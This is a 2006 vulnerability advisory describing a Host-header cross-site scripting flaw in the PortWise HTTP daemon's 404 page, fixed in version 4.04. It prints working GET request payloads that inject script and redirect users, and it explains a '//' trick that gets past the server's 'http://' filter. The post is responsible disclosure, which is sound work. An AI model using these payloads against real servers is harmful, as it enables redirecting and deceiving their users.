Cross Site Scripting possible in PortWise HTTP deamon
Posted by Søren Maigaard Fri, 22 Sep 2006 11:23:00 GMT
Abstract
During a penetration test, it was found that the PortWise HTTP deamon has a security flaw that allows Cross Site Scripting (CSS) on the default 404 page.
The affected version nr. is 4.03 (and presumably anything lower). Based on this research, PortWise has now issued a new version (4.04) that is confirmed not to be vulnerable.
Below is a very simple step-by-step of the vulnerability.
Details
If a normal HTTP GET request is sent to the server requesting a page that is not available, a standard 404 error page is returned.
However, if the GET request HOST attribute is modified like this:
GET /RandomPage.html HTTP/1.0
Connection: Close
Host: ANY DATA WRITTEN IN THE HOST FIELD WILL BE SHOWN HERE
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0;)
Pragma: no-cache
Cookie:
PortWise will return an error page where the host attribute contents are listed on the page. An example output is shown below:

This is important because it shows that the page will display whatever is written in the HOST field of the GET request. The next step is to try to include scripting code into the HOST field. The simplest form looks like this:
GET /RandomPage.html HTTP/1.0
Connection: Close
Host: <script>alert('XSS');</script>
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0;)
Pragma: no-cache
Cookie:
This will give the following output:

This shows that we are able to execute script code through this exploit. An obvious next step would be to see if it is possible to run script code that will redirect the user away from the true website server to a server of our choice. The GET request would look like this:
GET /RandomPage.html HTTP/1.0
Connection: Close
Host: <script>window.location=”//www.thawte.com/”;</script>
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0;)
Pragma: no-cache
Cookie:
The reason the location is chosen to be “//www.thawte.com/” and not “http://www.thawte.com/” is that PortWise actually identifies attempts to use the phrase “http://” and disables such attempts. Because Internet Explorer is designed to translate “//” to “http://” it is easy to bypass this feature. One could have used all possible combinations and character sets such as hex and unicode as well to bypass this.
The redirection works as well, and will be completely transparent to the user. If the original page was on an HTTPS connection, it is a good idea to redirect to another HTTPS page since the user won’t be prompted to accept a switch between a secure and insecure site.
As it is seen, this is a very simple attack. However, based on the lack of input validation by PortWise, a full analysis of the PortWise system should be initiated in order to identify other potential input validation flaws in the system.
Conclusion
PortWise customers should upgrade to at least version 4.04.

;O)